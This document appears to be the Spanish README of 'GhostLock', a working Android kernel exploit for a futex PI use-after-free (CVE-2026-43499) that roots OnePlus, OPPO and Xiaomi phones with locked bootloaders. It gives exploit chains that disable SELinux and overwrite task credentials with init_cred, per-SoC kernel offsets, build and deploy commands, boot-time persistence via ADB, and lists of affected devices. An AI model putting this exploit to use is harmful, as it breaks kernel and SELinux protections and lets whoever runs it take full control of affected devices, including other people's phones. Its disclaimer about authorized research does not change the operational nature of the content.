
Adaptador de GhostLock (CVE-2026-43499) para kernel Android 4.19.152-perf+
Exploit de kernel para dispositivos OnePlus/OPPO/realme con bootloader bloqueado. Consigue root e instala KernelSU sin desbloquear el bootloader ni modificar la imagen de arranque. Detección automática en tiempo de ejecución de la versión del kernel con una tabla de offsets multi-dispositivo.
CVE-2026-43499 — Use-After-Free en Futex PI (Priority Inheritance)
Afecta al kernel de Linux 2.6.39 ~ 7.1. Corregido en mainline 7.1 (commit 3bfdc63936dd). Android GKI 6.12.x sigue siendo vulnerable.
La syscall pselect6 copia datos de fd_set a la pila del kernel. Cuando se combina con el mecanismo de waiter de futex PI, un stack frame liberado puede reutilizarse como estructura rt_mutex_waiter. El rebalanceo del rb-tree durante el recorrido de la cadena PI escribe entonces valores controlados en direcciones arbitrarias del kernel.
| Dispositivo | SoC | Kernel | Notas |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | Mismo kernel que el Ace 6T. Verificado en QEMU, SP diff=-64. |
La superposición de pila de pselect solo funciona cuando el rt_mutex_waiter liberado cae dentro de la región controlable por el usuario del buffer stack_fds. Dónde cae el waiter lo determina la salida del compilador (PGO + LTO), no la versión del kernel. Consulta Distribución de pila para más detalles.
Dos rutas de root, seleccionadas automáticamente según las capacidades del dispositivo:
Requiere off_ashmem_misc_fops != 0 (ashmem en C con miscdevice estático en BSS).
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
Ventajas sobre la ruta B:
selinux_state.policycap (soluciona los problemas de red en OnePlus 13)Actualmente disponible en: OnePlus 13 (kernel 6.6, ashmem en C). No disponible en dispositivos con ashmem en Rust (GKI 6.12) — el miscdevice se asigna en el heap, por lo que su dirección no es predecible en tiempo de compilación.
Se usa cuando no están disponibles los offsets de UMH ni los misc_fops de ashmem en C.
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
Con NFDS=320, el core_sys_select del kernel asigna un buffer stack_fds de 256 bytes:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
El exploit escribe campos de waiter falsos (task, lock) en los bitmaps de entrada de fd_set. Para que esto funcione, los campos task y lock del waiter deben caer dentro de la zona controlable (words 0-14).
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
Regla de viabilidad: la word del waiter + 11 (offset de lock en rt_waiter_node) debe ser ≤ 14. La word de waiter máxima viable es 3.
La posición del waiter la determina la distribución del stack frame del compilador (perfiles de optimización PGO + LTO + BOLT), que varía según la rama del SoC. La misma versión de kernel puede tener distribuciones diferentes en distintos SoC.
Todas las escrituras al kernel pasan a través del alias de mapa lineal de la imagen:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
El bootloader elige kernel_phys_load, por lo que varía según el SoC y no está en boot.img ni en el DT. Es un campo por dispositivo en struct kernel_offsets; 0 = usar el valor predeterminado de target.h.
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
Un valor incorrecto falla silenciosamente — la escritura aterriza igualmente en RAM mapeada, por lo que no hay fallo ni efecto. No lo confundas con un problema de PSELECT_SHIFT. Léelo en una unidad rooteada del mismo modelo (Kernel code comienza en _stext; _text está 0x10000 más abajo):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
Distintos kernels colocan el waiter en diferentes posiciones dentro de la zona controlable. Usa PSELECT_SHIFT para ajustarlo:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
La word de waiter que da check_feasibility.py no es fiable: su aritmética de frames es correcta, pero los offsets de struct que infiere de los zero-stores no lo son (en OnePlus 15 da word 3; la medida es word 2). Un shift incorrecto cuesta un kernel panic por intento, así que mídela en una unidad rooteada:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
GhostLock solo proporciona root. La instalación de KernelSU depende de ksud, un binario que contiene módulos kernelsu.ko incrustados para cada versión de KMI. El script de root localiza ksud en el dispositivo y ejecuta ksud late-load --kmi android16-6.12.
Sin ksud, el exploit consigue root (uid=0), pero KSU no se instalará y
suno persistirá.
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
Tras el primer jailbreak exitoso, persist.adb.tcp.port se establece mediante resetprop — los arranques posteriores son totalmente automáticos.
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
Importante: Ejecuta dentro de los 30 segundos posteriores al arranque para obtener la mejor fiabilidad de temporización de KernelSnitch.
Solo se necesita boot.img — no se requiere root ni acceso al dispositivo.
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
El exploit principal es independiente del dispositivo. La adaptación puede requerir:
VA_BITS diferentes (48 vs 39) → actualizar el diseño de memoria de target.hkernel_phys_load diferente → leerlo de /proc/iomem o usar la variable de entorno KPHYS=common.hPSELECT_SHIFT diferente → determinarlo mediante una prueba de kprobe en QEMUSTRUCT_OFFSETS_6_6 o STRUCT_OFFSETS_6_12 en la entrada del dispositivoLa ruta de root por UMH (call_usermodehelper) requiere:
off_system_unbound_wq y off_call_usermodehelper_exec_work de kallsymsoff_ashmem_misc_fops = ashmem_misc + 0x10 (solo ashmem en C, miscdevice.fops en BSS)Solo para investigación de seguridad autorizada y fines educativos.
| Dispositivo | SoC | Kernel | Estado |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | Funciona |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | Funciona |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | Funciona |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | Funciona |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | Funciona (actualización de agosto de 2026) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | Funciona (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | Funciona (PSELECT_SHIFT=-2) |
| Dispositivo | SoC | Kernel | Motivo |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO elimina el frame de do_futex → SP diff=+32, waiter word=14. No existe ningún shift seguro. |
| OPPO Find X7 | — | 6.1.157 | GKI 6.1: waiter en word 13 (todos los dispositivos OPLUS/GKI 6.1) |
| realme RMX5070 | SM6650 | 6.1.141 | GKI 6.1: waiter en word 13 |
| realme RMX3852 | SM8635 | 6.1.141 | Misma rama 6.1 que RMX5070 |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | Misma rama 6.1 |
| OnePlus 12 | SM8650 | 6.1.141 | GKI 6.1: do_futex inline por PGO, waiter word=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | Misma rama 6.1 |
| OPPO PKW110 | — | 5.15.180 | frame de do_futex 0x140 (4,5 veces el normal) → waiter word=-29, inalcanzable |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | GKI 6.1: waiter en word 13 (no OPLUS, mismo resultado) |
| iQOO Z9 5G | — | 5.15.178 | frame de do_futex demasiado grande, waiter inalcanzable. No es un dispositivo OPLUS (vivo). |
| Método |
|---|
| Pasos |
|---|
| APK de ReSukiSU (recomendado) | Instala ReSukiSU o este fork. La versión oficial incluye libksud.so. |
| Lanzamiento de CI | Descarga ksud-aarch64-linux-android.zip desde CI de ReSukiSU |
| Fuente | Cantidad | Método |
|---|
| kallsyms (símbolos globales) | 28 | extract_target.py |
| BTF (campos de struct) | 57 | extract_btf.py |
| Derivados (misma struct, uso diferente) | 9 | Automático |
| Constantes (valores fijos) | 12 | Sin necesidad de extracción |
| Archivo | Descripción |
|---|
src/core/main.c | Entrada del exploit, Write 1/2, ruta UMH, bootstrap, script de root |
src/core/fops.c | Ruta de pselect, mecanismo de escritura PI, etapa CFI |
src/core/util.c | Heap spray, kernelsnitch, slab drain, preparación del payload |
src/core/pipe_physrw.c | Lectura/escritura de memoria física basada en pipe buffer (mejora la r/w de configfs) |
src/core/umh_root.c | Root por UMH mediante inyección en workqueue + manejador --umh |
src/core/miniadb.c | Cliente mini-ADB (TCP + autenticación RSA) |
src/core/common.h | Parámetros de temporización, macros |
src/core/target.h | Diseño de memoria, valores predeterminados de campos de struct (6.12) |
src/core/runtime_struct_offsets.h | Anulación de campos de struct por dispositivo (6.6 vs 6.12) |
src/devices/offsets.h | Agrega todas las tablas de offsets de dispositivos + macros STRUCT_OFFSETS_* |
src/devices/<device>/offsets.h | Entradas de offsets de kernel por dispositivo |
src/core/slide.c | Fuga de dirección del kernel SLIDE |
src/core/root.c | Configuración de shell root (parcheo directo de credenciales mediante pipe physrw) |
tools/extract_target.py | Extracción de offsets desde kallsyms |
tools/extract_btf.py | Extracción de offsets de struct desde BTF |
tools/check_feasibility.py | Comprobador de viabilidad de la distribución de pila |